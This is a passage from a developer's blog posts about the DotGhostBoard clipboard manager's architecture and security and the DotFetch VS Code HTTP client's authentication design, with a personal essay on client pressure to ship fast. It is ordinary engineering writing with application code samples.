└──────────────┬──────────────────┬─────────────────┬──────────────┘
               │                  │                 │
      Direct Storage Calls   Qt Event Loop    Tightly Bound Polling
               ▼                  ▼                 ▼
     [ Monolithic SQLite ]   [ UI Signals ]   [ QClipboard Event ]

Three critical pain points made future feature work fragile:

The 2,353-Line Monolithic Dashboard: Button callbacks were directly reading from SQLite, instantiating cipher suites, managing session timers, and firing off network broadcasts.
The 1,100-Line Storage Monolith (core/storage.py): One file handled connection lifecycle, schema migrations, clip CRUD, tag management, collection associations, and peer credentials.
Platform-Tied Clipboard Listener: Capturing clipboard data was tied directly to PyQt's QClipboard.dataChanged event loop. Headless unit testing without an X11 display server was difficult, and supporting Wayland's native wlr-data-control protocol was functionally impossible.

🎯 The Core Architectural Principle

To untangle this, we established a strict rule of separation:

Controllers coordinate UI behavior. Services own business rules. Repositories own persistence. Backends own platform integration.

UI (Widgets / Dialogs)
      │
      ▼
Controllers (ui/controllers/ - QObject Behavioral glue)
      │
      ▼
Services (core/services/ - Headless business logic)
      │
      ▼
Repositories (core/storage/repositories/ - Domain data access)
      │
      ▼
Database (core/storage/database.py - SQLite context & migrations)

Phase 1: Modularizing Storage with the Repository & Facade Patterns

Rather than allowing UI components to issue raw SQL queries, we decomposed core/storage.py into a focused package:

core/storage/
├── __init__.py           # 100% Backward-compatible Facade
├── database.py           # Context-managed connection layer & test paths
├── migrations.py         # Transactional schema migration engine
└── repositories/
    ├── clips.py          # CRUD, AES-256-GCM encryption, image deduplication
    ├── tags.py           # Normalization, tag extraction, rename/delete
    ├── collections.py    # Grouping, filtering, cascade rules
    ├── peers.py          # LAN device trust & credentials
    └── stats.py          # Aggregations & performance metrics

The Backward-Compatible Facade Pattern

A common blunder when refactoring persistence is forcing a sweeping rewrite across every caller at once.

To keep Git diffs manageable and avoid breaking other branches, core/storage/__init__.py serves as a facade, re-exporting original function signatures:

# core/storage/__init__.py (Facade)
from .database import get_db, init_db, close_db
from .repositories.clips import save_clip, get_clips, delete_clip
from .repositories.tags import get_all_tags, normalize_tag
from .repositories.collections import get_collections

# Existing callers continued to function without changing an import!

Transactional Schema Migrations

We implemented an in-house, zero-dependency migration engine (core/storage/migrations.py):

Every schema migration executes within an atomic transaction.
Legacy schema detection auto-promotes pre-existing v1.5 databases.
Includes downgrade guards to prevent older versions from corrupting newer schemas.

Phase 2: Decoupling the Clipboard Engine with Protocols

Previously, the clipboard listener was embedded inside Qt widget callbacks. We extracted this into a headless policy engine:

[ Raw Clipboard Event ]
          │
          ▼
┌─────────────────────────────────────────────────────────────┐
│                 ClipboardPipeline (Pure Logic)              │
│                                                             │
│  1. Validation      ──► Ignore empty or malformed payloads  │
│  2. App Whitelist   ──► Filter out sensitive applications   │
│  3. Paranoia Filter ──► Check private browsing & incognito  │
│  4. Secret Detector ──► Scan for API keys, tokens, SSH keys │
└─────────────────────────────┬───────────────────────────────┘
                              │
                    CaptureDecision (Action)
                              │
          ┌───────────────────┼───────────────────┐
          ▼                   ▼                   ▼
    [ SAVE_NORMAL ]    [ SECRET_CANDIDATE ]    [ IGNORE ]

Protocol-Based Backends

By specifying a clean Python typing.Protocol, the pipeline doesn't care whether events originate from X11, Qt, or Wayland:

# core/clipboard/backend.py
from typing import Protocol, Callable, Optional
from .events import ClipboardEvent

class ClipboardBackend(Protocol):
    def start(self, callback: Callable[[ClipboardEvent], None]) -> None: ...
    def stop(self) -> None: ...
    def get_current_text(self) -> Optional[str]: ...

Benefits:

We wrapped Qt's clipboard event handling into QtClipboardBackend.
We introduced a lightweight MockClipboardBackend for unit tests, enabling headless test execution in under 4 seconds without Xvfb.
Wayland readiness: The architecture is decoupled so a native Wayland backend can be introduced cleanly in v2.0.

Phase 3: Domain Service Layer & Cryptographic Hardening

Desktop apps frequently leak business logic into UI event listeners. For instance, calculating whether a snippet should trigger an "Auto-Pin" recommendation based on copy frequency was embedded inside a widget slot.

We extracted pure Python service classes into core/services/:

HistoryService: Manages pagination windows, debounced search, duplicate suppression, and copy thresholds (PIN_SUGGESTION_THRESHOLD = 5).
CollectionService: Handles categorization rules and cascade unlinking.
SecurityService: Manages master password verification, session lock timeouts, and key rotation.
SyncService: Validates LAN peer trust handshakes.

Cryptographic Rigor & Envelope Encryption

DotGhostBoard features an encrypted storage mode (The Vault). We hardened key derivation and isolation:

Two-Tier Key Derivation Chain: $$\text{Master Password} \xrightarrow{\text{PBKDF2-HMAC-SHA256 (600,000 iter + Salt)}} \text{Base Key} \xrightarrow{\text{HKDF-SHA256 (Domain Context)}} \text{Vault KEK}$$
- Passwords first pass through PBKDF2-HMAC-SHA256 with 600,000 iterations and a persistent 256-bit random salt.
- The resulting base key is then fed through HKDF-SHA256 with domain context b"dotghostboard:vault:v2". This guarantees that the Vault key is cryptographically independent from other application keys.
Physical Database Isolation & Envelope Encryption:
- Vault items live in a physically distinct SQLite database (vault.db).
- Items are encrypted using a fast Data Encryption Key (DEK). The DEK is encrypted with the Key Encryption Key (KEK).
- Instant Password Rotation: Changing the master password only requires re-wrapping the 32-byte DEK (a constant-time operation taking ~2ms in our local benchmarks), rather than re-encrypting gigabytes of history data.
Defense-in-Depth:
- Added secure_zero() providing best-effort memory scrubbing for sensitive mutable bytearray buffers after cryptographic operations.

Phase 4: Decomposing the 2,353-Line Monolithic Qt Dashboard

Decomposing the central Dashboard window was the most delicate step.

Rather than letting the main window handle every event, we introduced Behavioral QObject Controllers:

                    ┌────────────────────────┐
                    │       Dashboard        │
                    │  (ui/dashboard.py)     │
                    │   Layouts & Visuals    │
                    └───────────┬────────────┘
         ┌───────────────┬──────┴────────┬───────────────┐
         ▼               ▼               ▼               ▼
┌─────────────────┐ ┌──────────┐ ┌───────────────┐ ┌───────────┐
│HistoryController│ │Collection│ │SecurityContr. │ │SyncContr. │
│• Infinite scroll│ │• Sidebar │ │• Vault unlock │ │• LAN P2P  │
│• Search debounce│ │• Drag/drop│ │• Secret reveal│ │• Pairing  │
│• Card lifecycle │ │• Category│ │• Session timer│ │• Discovery│
└─────────────────┘ └──────────┘ └───────────────┘ └───────────┘

Each controller is a dedicated QObject wired through dependency injection:

HistoryController: Manages card pagination, card lifecycle, and 150ms search query debouncing.
CollectionController: Manages category navigation, drag-and-drop targeting, and folder CRUD dialogs.
SecurityController: Oversees session lock/unlock events, secret masking, and unlock prompts.
SyncController: Coordinates peer discovery listings, pairing dialogs, and network status styling.

The Impact:

ui/dashboard.py shrank by 818 lines (2,353 → 1,535 lines).
Zero raw SQL or crypto primitives remain in the UI layer.
Extracted PinSuggestionToast into its own reusable widget module (ui/widgets/pin_toast.py).

🐛 4 Subtle Bugs Discovered (and Fixed) During Refactoring

A comprehensive refactor with high test coverage inevitably unearths long-standing subtle bugs:

1. The Recursive Clipboard Sync Loop

Issue: When a user clicked an existing snippet card in the GUI to copy it to their system clipboard, the clipboard watcher detected the change and triggered a LAN broadcast as if it were a new external capture, creating an infinite echo loop between paired devices.
Fix: Enforced strict signal boundaries. The LAN sync broadcast is triggered only by physical captures originating from Watcher, never from internal UI card copy actions.

2. The $O(N)$ In-Memory Collection Calculation

Issue: Populating collection card counts loaded the entire history table into Python and computed counts using list comprehensions.
Fix: Replaced with a single SQL query utilizing LEFT JOIN and COUNT(clips.id) GROUP BY collections.id, slashing dashboard initialization time from ~210ms to under 8ms.

3. N+1 Deletes in Periodic Cleanup

Issue: The routine cleaning old clips performed individual DELETE FROM clips WHERE id = ? calls inside a Python iteration.
Fix: Refactored to bulk DELETE FROM clips WHERE id IN (...) executed inside a single transaction.

4. Encapsulation Leaks in Session Management

Issue: Widgets were directly reading and mutating private session key attributes across controller instances.
Fix: Replaced with a validated set_session_key() public method enforcing explicit lifecycle transitions.

📊 Before vs. After: Metrics

Metric	Before (v1.5.7)	After (v1.6.0 Phantom)	Impact
Dashboard File Size	2,353 lines	1,535 lines	-35% LOC (-818 lines)
Storage Architecture	1 Monolithic File	7 Decoupled Modules	Repository Pattern + Facade
Automated Tests	220 tests	306 tests	+39% tests (+86 tests across 25 modules)
Test Execution Time	14.2s (with Qt displays)	3.8s (Mock Backends)	3.7x faster test execution
User-Facing Regressions	Baseline	0 detected regressions	Verified via test suite & manual pass
Wayland Readiness	Qt-coupled	Protocol-abstracted	Architecture prepared for native backend

📐 How We Measured

To ensure our metrics were empirical and reproducible:

Lines of Code: Measured using cloc excluding comments, docstrings, and blank lines.
Test Counts & Speed: Measured via pytest run times on an identical Ubuntu 24.04 environment.
Database Latencies: Profiled with sqlite3 EXPLAIN QUERY PLAN and Python's time.perf_counter_ns().
Regression Verification: Confirmed across 306 automated unit/integration tests and a full manual smoke test on X11 and Wayland sessions.

💡 Key Takeaways for Refactoring Desktop Apps

Do Not Start Refactoring Without a Fast Safety Net: Our initial 220-test suite gave us a fast safety net and exposed breaking changes as the refactor progressed. Build your test harness before you touch architecture.
Use Facades to Keep PRs Manageable: Maintain backwards compatibility at module boundaries. Your refactoring doesn't need to break every import path simultaneously.
Decouple Event Loops from Business Logic: Never let UI event loops govern application state. Pure Python classes with Protocol definitions make your business logic portable, maintainable, and lightning-fast to test.
Isolate Signal Flow Early: GUI architectures crumble when signals cascade unpredictably. Define explicit component boundaries for what generates data versus what consumes it.

🚀 What's Next?

With the architecture of DotGhostBoard v1.6.0 "Phantom" stabilized, we are actively developing the v2.0.0 "Cerberus" roadmap:

Native Wayland clipboard engine (wlr-data-control).
Authenticated peer-to-peer device sync.
Extension and plugin system.

🔗 Links & Resources

📦 Download v1.6.0 "Phantom": GitHub Release (AppImage, .deb, Arch)
🌐 OpenDesktop / Pling Store: DotGhostBoard on OpenDesktop
⭐ Source Code & Documentation: GitHub Repository

Have you ever refactored a monolithic desktop application? What patterns helped you untangle complex legacy UI code? Share your thoughts in the comments below!

When "Fast" Became the Only Rule

freerave — Sun, 06 Sep 2026 12:37:37 +0000

A developer's honest look at what really changed between the Roadmap era and the "ship it in five minutes" era — and why the real cost isn't hours worked, it's fragmented attention.

It's almost 1 AM. The screen is still on, and I've been staring at the same line of code for ten minutes. Not because it's complicated — no, because my brain is just empty. Then a message pops up: "Cool, but can we drop this feature and swap in something else? We need it fast."

Fast. How fast? Five minutes.

I'm not exaggerating — this has become a daily shape of my work. And every time I sit with it, I realize the real problem isn't the feature or the code. It's something else entirely: we're working in an era that forgot how to wait.

Back Then: There Was Room for Patience

I remember when I was starting out, there was this thing called a "roadmap." You'd specialize, read, struggle, fail, try again, and after a couple of months you'd actually feel like you'd made progress. I specialized in just Next.js and Python, and that wasn't a flaw — it was the natural path. Go deep on one thing until you master it, then expand.

Even at work, if I changed something small in the UI, it counted as an achievement. Changing a button's look got called "amazing work," even though in reality it was light work. I'd be doing frontend and somehow it felt like I'd shipped an entire backend. Change used to happen once a month, and that was enough to make noise.

Now: Everything Has to "Explode" Every 12 Hours

Today the picture has completely flipped. Same hours, same effort, but the rhythm changed entirely. There's now an expectation that you ship something "huge" every half a day. Not an update, not an improvement — something that wows. And if what you shipped was light or simple, in the client's eyes you're suddenly a "bad developer," even if the task genuinely didn't need more than that.

The strange part is that a lot of the market feels increasingly iterative rather than genuinely innovative — companies keep circling similar ideas while the expected shipping speed keeps rising. Even big companies now ship products fast and patch the bugs later, on the fly, because nobody wants to wait.

The result? Your client sees that model and expects the same speed from their small project, without understanding that not everything is the same.

What Actually Tires Me Out Isn't the Work — It's the Constant Urgency

This is the point I most want to get across. The technical effort itself isn't the problem. The problem is working inside an environment with zero patience. You're expected to add a feature and remove it in under five minutes, as if the system were a light switch you flip on and off. But what actually happens is that every "add and remove" shakes other things inside the architecture, affects things you didn't anticipate, and the system starts wearing down from constant changes with no real foundation behind them.

Then comes the question the client throws at you: "You're using AI, why would you even be tired?"

That question genuinely hurts, because it comes from a real misunderstanding. AI can cut down how long something takes to write — it doesn't remove the responsibility for deciding what to write. AI can accelerate execution. It cannot absorb accountability. If something breaks in production, the client isn't going to go argue with a model — I'm the one holding the consequence of that call. My eyes get tired from the screen, and my brain gets tired from constantly switching between decision and decision — that's real fatigue even if my body never moved. Tiredness isn't always physical; sometimes it's nerve fatigue, and that's the kind nobody sees unless they're the one living it.

AI made code cheaper to produce. It didn't make change cheaper to understand.

What Actually Helped Me Survive This Workflow

I won't pretend I have a silver-bullet answer, but a few things have actually reduced the pressure for me:

Draw a clear, spoken line between a "light touch" and a "core change." When someone asks to swap a feature out for another, calmly explain that this isn't a light switch — it takes time to make sure the system doesn't break. Transparency here protects you more than anything else.
Try to batch scattered requests instead of reacting to each one instantly. Instead of replying the moment a message lands, suggest that requests get grouped and prioritized, even informally. It gives you thinking space instead of constant reflex-mode.
Use feature flags instead of directly ripping code in and out. This lets you "turn off" or "turn on" something without touching the foundation, and it actually saves real time and effort down the line.
Say "no" professionally when a request doesn't make sense. You don't have to agree to everything just because the client is in a hurry. Explain what rushing would actually cost, and let them make the call with the full picture in front of them.
Protect your time without guilt. You don't have to respond outside working hours just because a message arrived. A quick "I'll look at this in the morning" beats a rushed decision made at 1 AM.

Closing: Speed Isn't the Problem — Treating Patience as a Luxury Is

I'm not saying speed is a bad thing, or that every impatient client is wrong. The market genuinely changed, and expectations changed with it. But there's a real difference between "speed" and "urgency without understanding." Speed needs structure. Urgency just needs a little patience so nobody gets burned out.

At the end of the day, I can still end up at my desk from around 9 AM to 1 AM — not something I'd call healthy or sustainable, just an honest description of where I am right now. But the strange part is that the number of hours isn't really what changed. The fragmentation did: back then those hours were long, connected stretches of exploring and learning; now they're broken into reactions, all day, to whatever just landed in the chat. Maybe that's the real challenge for developers in this era: not learning some new technology, but learning how to protect your attention — and your sanity — around people who forgot how to wait.

Have you dealt with something like this? How do you handle an impatient client who won't give you room to breathe? Let me know in the comments 👇

Inside DotFetch v2.1.0: Auth Boundaries, WebView Security, and Request Architecture

freerave — Thu, 20 Aug 2026 14:05:17 +0000

A deep dive into building DotFetch v2.1.0: Modular architecture in VS Code WebViews, RFC 6749 OAuth 2.0, backend-owned Basic Auth with environment variables, and safe credential isolation.

The Context Switching Problem

Context switching is one of the most frustrating parts of building backend services.

Every time you write an API endpoint in VS Code, you switch windows to a standalone API client, wait for it to load, configure environment variables, run the request, and switch back to your editor.

We created DotFetch to bring a lightweight, dark-themed HTTP client directly into your VS Code workspace — native .env variable support, collections, cURL import/export, and zero UI bloat.

In v2.0.0, we built the initial request builder with structured parameter and header tables.

For v2.1.0, our focus shifted to engineering a hardened authentication and security layer designed for real-world API workflows. The challenge was resolving the architectural edge cases that appeared once authentication, persistence, and environment substitution started interacting.

Here is an inside look at how we designed and refactored DotFetch v2.1.0.

🏗️ 1. Architecture: Modular Frontend in a Sandboxed WebView

A common problem in VS Code extension development is stuffing DOM manipulation, business logic, and IPC handling into a single monolithic script.

In DotFetch v2.1.0, we structured the frontend into an MVC-inspired modular frontend architecture:

DotFetch Architecture
├── Extension Host (Node.js Runtime)
│   ├── RequestService.ts       ← Axios execution engine, SSL Agent, OAuth token fetcher
│   ├── DataManager.ts          ← globalState persistence (History & Collections)
│   ├── EnvironmentManager.ts   ← .env parsing & {{VAR}} substitution
│   └── webviewPanel.ts         ← IPC Message Router & CSP builder
│
└── Frontend WebView (Browser Runtime - src/webview/)
    ├── main.js                 ← Central Controller & event dispatcher
    ├── request.js              ← Form state, live assembly & send logic
    ├── auth.js                 ← Auth rendering, live previews & RFC validation
    ├── ui.js                   ← Structured tables, response tabs & badges
    ├── shortcuts.js            ← Configurable keyboard shortcuts
    ├── state.js                ← Single source of truth & canonical schemas
    └── api.js                  ← postMessage transport layer

The Bundling Strategy under Strict CSP

DotFetch applies a strict Content-Security-Policy to its VS Code WebView, using nonce-based script execution:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-${nonce}'; ...">

Bundling simplifies WebView resource loading and CSP management while keeping the source code modular during development.

We maintain clean ES modules in src/webview/ during development, and use esbuild to bundle src/webview/main.js into a single IIFE bundle (media/script.js) in ~30ms local build time in our development setup:

"esbuild-base": "esbuild ./src/extension.ts --bundle --outfile=out/extension.js --external:vscode --format=cjs --platform=node && esbuild ./src/webview/main.js --bundle --outfile=media/script.js --format=iife --platform=browser"

This keeps the codebase modular and readable in source control while shipping a single, CSP-compliant script at runtime.

🔐 2. The Authentication Suite

🔑 API Key Authentication (Header vs. Query Mode)

APIs accept keys differently. Some require custom HTTP headers (X-API-Key: secret), while others expect query parameters (?api_key=secret).

We built an interactive UI that lets developers switch modes with real-time visual previews and a copy button:

// src/webview/auth.js
export function updateApiKeyPreview() {
    const preview = document.getElementById('auth-preview');
    if (!preview) return;
    const keyName = state.authConfig.keyName || '';
    const keyValue = state.authConfig.keyValue || '';
    const keyIn = state.authConfig.keyIn || 'header';

    if (keyName && keyValue) {
        const text = keyIn === 'header' ? `${keyName}: ${keyValue}` : `?${keyName}=${keyValue}`;
        preview.innerHTML = `<span>${text}</span><button type="button" class="tool-btn" id="copy-auth-preview">Copy</button>`;
        preview.classList.remove('hidden');
    }
}

When sent in Query Parameter mode, the headers table remains untouched and RequestService injects the key into the URL string on the Node.js side right before execution.

⚡ OAuth 2.0 (Client Credentials Flow)

Machine-to-machine APIs (Spotify, Twitch, Azure, Auth0) frequently rely on OAuth 2.0 Client Credentials.

Instead of writing separate shell scripts:

Enter your Token URL, Client ID, Client Secret, and Scope.
Click "⚡ Fetch & Inject Token".
DotFetch contacts the OAuth provider, extracts the access_token, displays an active token status card with expiration metadata, and injects Authorization: Bearer <token> into your live requests.

// src/requestService.ts - RFC 6749 §2.3.1 Compliance
public async fetchOAuthToken(message: any, webview: vscode.Webview) {
    const tokenUrl = this.environmentManager.substituteVariables(message.tokenUrl, env).trim();
    const clientId = this.environmentManager.substituteVariables(message.clientId, env).trim();
    const clientSecret = this.environmentManager.substituteVariables(message.clientSecret, env).trim();
    const scope = this.environmentManager.substituteVariables(message.scope, env).trim();

    const params = new URLSearchParams();
    params.append('grant_type', 'client_credentials');
    if (scope) { params.append('scope', scope); }

    const headers: Record<string, string> = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'application/json'
    };

    // RFC 6749 §2.3.1: client_id & client_secret MUST be URL-encoded before Base64 encoding
    if (clientId && clientSecret) {
        const formEncode = (value: string) => encodeURIComponent(value).replace(/%20/g, '+');
        const basicCreds = Buffer.from(
            `${formEncode(clientId)}:${formEncode(clientSecret)}`,
            'utf8'
        ).toString('base64');
        headers['Authorization'] = `Basic ${basicCreds}`;
    }

    const response = await axios.post(tokenUrl, params.toString(), { headers, timeout: 15000 });
    // Returns access_token, token_type, expires_in to WebView...
}

🛡️ SSL/TLS Toggle for Local Development

When testing microservices locally with self-signed SSL certificates (https://localhost:8080), Node.js rejects the connection with certificate verification errors.

DotFetch v2.1.0 provides an SSL Toggle with a prominent toolbar warning badge (⚠️ SSL Ignored):

const httpsAgent = message.sslVerify === false
    ? new https.Agent({ rejectUnauthorized: false })
    : undefined;

To prevent accidental security gaps, every request load enforces a secure default (sslVerify: true).

🛠️ 3. Solving the Hard Architectural Edge Cases

The auth features were straightforward. The difficult part was keeping authentication, persistence, and request execution from contaminating each other.

🧩 1. The "Draft vs. Wire" Headers Contamination

The Problem: When you send a request with Bearer Auth, the client injects Authorization: Bearer <token> into the outgoing wire headers. If the user clicked "Save to Collection", that injected header was saved into the raw headers table. Later, loading that request and switching to "No Auth" caused the old token to remain in manual headers and still be sent.

The Solution: We decoupled Draft Data (for storage) from Wire Data (for execution):

// src/webview/request.js
export function getRequestData({ forSend = false } = {}) {
    const rawHeaders = serializeHeaders();

    // Wire headers get auth injection; Saved draft headers stay clean
    const headers = forSend ? applyAuthHeaderToRawHeaders(rawHeaders) : rawHeaders;

    // Live send keeps in-memory secrets; Storage strips them
    const auth = forSend ? { ...state.authConfig } : createPersistableAuthConfig();

    return {
        method: document.getElementById('method')?.value || 'GET',
        url: constructFullUrl(),
        headers,
        auth,
        sslVerify: state.settings.sslVerify !== false
    };
}

🧩 2. Basic Auth + Environment Variables Base64 Deadlock

The Problem: The UI allows Username: {{API_USER}} and Password: {{API_PASS}}.

If the WebView constructs Authorization: Basic ${btoa(${user}:${pass})}, it produces Base64 ciphertext of the literal string {{API_USER}}:{{API_PASS}}. When the Extension Host receives it, it cannot substitute the environment variables because they are locked inside Base64.

The Solution: Make Basic Auth 100% Backend-Owned:

The WebView strips any conflicting manual Authorization header.
RequestService on the Extension Host performs variable substitution first, and then computes the Base64 header in Node.js runtime:

// src/requestService.ts
if (message.auth?.type === 'basic') {
    const rawUser = message.auth.username || '';
    const rawPass = message.auth.password || '';
    const user = this.environmentManager.substituteVariables(rawUser, selectedEnv);
    const pass = this.environmentManager.substituteVariables(rawPass, selectedEnv);
    if (user || pass) {
        const basicCreds = Buffer.from(`${user}:${pass}`, 'utf8').toString('base64');
        substitutedHeaders['Authorization'] = `Basic ${basicCreds}`;
    }
}

🧩 3. Zero-Persistence Plaintext Secrets across Collections, Favorites & History

The Problem: vscode.ExtensionContext.globalState is used for persisting collections and history. Storing raw passwords, tokens, API key values, or OAuth secrets as plaintext JSON in globalState is an unnecessary security risk.

The Solution: Plaintext runtime credentials are stripped before DotFetch persists request metadata to globalState across Collections, Favorites, and History:

// src/webview/state.js
export function createPersistableAuthConfig(authConfig = state.authConfig) {
    return {
        ...authConfig,
        password: '',
        token: '',
        keyValue: '',
        clientSecret: '',
        accessToken: '',
        expiresIn: null,
        tokenReceivedAt: null
    };
}

When a request executes, sendRequest() passes both requestData (live wire credentials) and historyData (sanitized snapshot). On success, webviewPanel.ts persists only the sanitized snapshot:

// src/webviewPanel.ts
if (capturedResponse) {
    const safeRequest = message.historyData || {};
    const historyEntry: RequestData = {
        name: safeRequest.name,
        url: safeRequest.url,
        headers: safeRequest.headers, // Clean manual headers
        auth: safeRequest.auth,       // Stripped secrets
        status: capturedResponse.status,
        duration: capturedResponse.duration,
        createdAt: new Date().toISOString()
    };
    await this.dataManager.addHistory(historyEntry);
}

🧩 4. Guarding Against Memory-Exploding Payloads

The Problem: If an API endpoint returns a 50MB JSON payload, transferring that full payload across the VS Code postMessage IPC boundary will freeze the WebView and lag the editor.

The Solution: We implemented double-layered response protection:

Network Layer: Axios enforces maxContentLength: 10 * 1024 * 1024 (10 MB).
Display Layer: If the response exceeds 1 MB (DISPLAY_THRESHOLD), we compute accurate UTF-8 byte length via Buffer.byteLength() and truncate the WebView preview to the first 1000 characters with a helpful badge:

// src/requestService.ts
const serializedResponse = typeof response.data === 'string'
    ? response.data
    : JSON.stringify(response.data ?? '');

const responseSize = Buffer.byteLength(serializedResponse, 'utf8');
const isLarge = responseSize > RequestService.DISPLAY_THRESHOLD;

webview.postMessage({
    type: 'response',
    status: response.status,
    duration,
    size: responseSize,
    headers: response.headers,
    isLarge,
    data: isLarge
        ? `[Response too large: ${(responseSize / 1024).toFixed(2)} KB]\n\nFirst 1000 characters:\n${serializedResponse.substring(0, 1000)}...`
        : response.data
});

🧪 4. How We Verified It

Before tagging v2.1.0, we run our quality gates:

npm run compile
npm run typecheck
npm run lint

Then we validate the runtime test matrix manually across scenarios:

No Auth: Raw headers sent unchanged; no injected tokens
Basic Auth (Literal): Safe UTF-8 Base64 encoding; manual headers overridden
Basic Auth (Variables): {{USER}} & {{PASS}} substituted before Base64
Bearer Token: Injected on wire only; excluded from saved collections
API Key (Header): Custom header injection; live preview works
API Key (Query): Injected into URL query string; headers table untouched
OAuth 2.0 Flow: RFC 6749 URL encoding; active token card display; expired token blocks send
Save & Reload: Schema restored cleanly; zero header contamination
History Sanitization: Plaintext secrets omitted from globalState
SSL Toggle: Localhost bypasses SSL when disabled with active warning badge
Memory Guard: Payloads > 1MB safely truncated in preview
Cancel & Retry: AbortController halts execution; network retry with exponential backoff

📊 Summary of What DotFetch v2.1.0 Delivers

Feature Area	What You Get
Authentication	Bearer Token, Basic Auth (env-aware), API Key (Header & Query), OAuth 2.0 Client Credentials
UI & Visibility	Interactive eye toggles (👁️ / 🙈), Response Headers Inspector table, Live previews
Security & Privacy	Zero-persistence plaintext secret policy across Collections, Favorites & History, SSL Toggle
Performance	10MB payload size limits, 1MB large response truncation, modular WebView source bundled into a single CSP-compatible runtime
Code Health	Zero TypeScript typecheck errors, strict ESLint pass, clean IPC separation

🚀 Try DotFetch

DotFetch is free, open-source, and built for developers who appreciate clean tools.

📦 VS Code Marketplace: Install DotFetch
🌐 Open VSX Registry: Install DotFetch
⭐ GitHub Repository: kareem2099/DotFetch

Have feedback or feature suggestions for v2.2? Drop a comment below or open an issue on GitHub!

Building DotGhostBoard v1.5.5: Spotlight Search, SHA-256 Image Deduplication & Zero-Trust Clipboard Security in PyQt6

freerave — Thu, 06 Aug 2026 13:31:27 +0000

How we built a Kali Linux-native, privacy-first clipboard manager featuring a floating Spotlight search overlay (Ctrl+Shift+F), smart image hashing, search input debouncing, and Master Password security.

I was working on Kali Linux, taking multiple screenshot captures of terminal error tracebacks and copying temporary API bearer tokens, when I realized two frustrating things:

My disk was getting littered with dozens of duplicate PNG screenshots (capture_1427.png, capture_1428.png) taking up space and cluttering my feed.
The clipboard managers available on Linux were either heavy Electron apps devouring 350MB+ RAM just sitting in the tray, or basic plain-text loggers that stored sensitive API keys unencrypted on disk.

That's why we built DotGhostBoard — a Kali Linux-native, privacy-first, zero-trust clipboard manager built with Python 3 and PyQt6. It features AES-256-GCM encryption, local SQLite storage, global hotkey overlays, and a dark neon aesthetic — using ~85 MB of Full Runtime RAM.

In this article, we'll dive deep into the architecture, design choices, and actual Python code behind the new features introduced in v1.5.5 (Nexus Polish & Spotlight).

🚀 Key Features Introduced in v1.5.5

Here is what we engineered for this release:

🔍 Spotlight Quick Search Overlay (ui/spotlight.py): A frameless, floating quick-search popup accessible globally via Ctrl+Shift+F.
🖼️ Smart Image SHA-256 Deduplication (core/storage.py): Automatic pixel hashing that prevents duplicate screenshots from cluttering disk space or UI feeds.
🔐 Master Password Protection for Secret Copying (ui/dashboard.py): Zero-leak in-memory decryption for encrypted clipboard items.
⚡ Search Input Debouncing (QTimer): 150ms–200ms non-blocking debounce timers to eliminate UI lag during rapid typing.
📊 Dashboard Stats Header & Relative Time Refresh: Real-time state summary banner and relative timestamps ("just now", "5m ago", "2h ago").

1. Spotlight Quick Search Overlay (`ui/spotlight.py`)

A core goal of v1.5.5 was allowing users to query their clipboard history from any application without switching windows manually.

We designed SpotlightSearchDialog using PyQt6's QDialog with frameless window hints and active screen auto-centering:

🔗 GitHub Source Code: ui/spotlight.py

from PyQt6.QtWidgets import (
    QDialog, QVBoxLayout, QLineEdit, QListWidget,
    QListWidgetItem, QLabel, QHBoxLayout, QFrame,
    QApplication, QGraphicsDropShadowEffect
)
from PyQt6.QtCore import Qt, pyqtSignal, QEvent, QTimer
from PyQt6.QtGui import QColor, QKeyEvent

from core import storage


class SpotlightSearchDialog(QDialog):
    """
    Spotlight-style floating search overlay.
    - Frameless, stays on top, centered on active monitor.
    - Up / Down / Enter keyboard navigation.
    - Emits sig_item_selected(item) when user picks an item.
    """
    sig_item_selected = pyqtSignal(dict)

    def __init__(self, parent=None):
        super().__init__(parent)
        self.setWindowFlags(
            Qt.WindowType.FramelessWindowHint |
            Qt.WindowType.WindowStaysOnTopHint |
            Qt.WindowType.Tool
        )
        self.setAttribute(Qt.WidgetAttribute.WA_TranslucentBackground, True)
        self.setFixedWidth(640)
        self.setFixedHeight(420)

        self._items = []
        self._pending_query = ""

        # 150ms search debounce timer
        self._search_timer = QTimer(self)
        self._search_timer.setSingleShot(True)
        self._search_timer.setInterval(150)
        self._search_timer.timeout.connect(self._do_search)

        self._build_ui()
        self._center_on_screen()

Keyboard Navigation & Focus Loss

To make Spotlight feel as smooth as macOS Spotlight or Raycast:

eventFilter captures Up, Down, Enter, and Esc keys regardless of whether focus is on the QLineEdit or QListWidget.
Encrypted secret items (is_secret == 1) are masked with 🔒 Secret Item (Encrypted) to prevent sensitive data leaks.
changeEvent listens for ActivationChange to automatically hide Spotlight when the user clicks outside.

    def eventFilter(self, obj, event):
        if event.type() == QEvent.Type.KeyPress:
            key_event: QKeyEvent = event
            key = key_event.key()

            if key == Qt.Key.Key_Escape:
                self.hide()
                return True

            elif key == Qt.Key.Key_Down:
                cur = self.results_list.currentRow()
                if cur < self.results_list.count() - 1:
                    self.results_list.setCurrentRow(cur + 1)
                return True

            elif key == Qt.Key.Key_Up:
                cur = self.results_list.currentRow()
                if cur > 0:
                    self.results_list.setCurrentRow(cur - 1)
                return True

            elif key in (Qt.Key.Key_Return, Qt.Key.Key_Enter):
                current_item = self.results_list.currentItem()
                if current_item:
                    self._on_item_activated(current_item)
                return True

        return super().eventFilter(obj, event)

    def changeEvent(self, event):
        if event.type() == QEvent.Type.ActivationChange:
            if not self.isActiveWindow():
                self.hide()
        super().changeEvent(event)

2. Smart Image Deduplication via SHA-256 (`core/storage.py`)

The Problem

When capturing screenshots or images from the system clipboard, QImage.save() creates a new temporary PNG file (e.g., capture_20260805_142748.png). Because each file gets a timestamped path, traditional string matching (WHERE content = ?) fails to recognize identical images. This led to duplicate cards filling the dashboard and wasting disk space.

The Solution: SHA-256 Image Hashing

Inside storage.add_item(), when an image is saved:

Compute the SHA-256 checksum of the new PNG file.
Query existing image rows in SQLite.
If an existing image has the exact same SHA-256 hash:
- Purge the newly generated temporary PNG file from disk (os.remove()).
- Execute UPDATE clipboard_items SET updated_at = NOW, copy_count = copy_count + 1 WHERE id = ?.
- Return the existing item ID so the UI floats the original image card to the top with an updated frequency badge (×2, ×3, 🔥 ×10)!

🔗 GitHub Source Code: core/storage.py

import hashlib

def _get_file_hash(filepath: str) -> str | None:
    """Calculate SHA-256 hash of a file for image duplicate detection."""
    if not filepath or not os.path.isfile(filepath):
        return None
    try:
        h = hashlib.sha256()
        with open(filepath, "rb") as f:
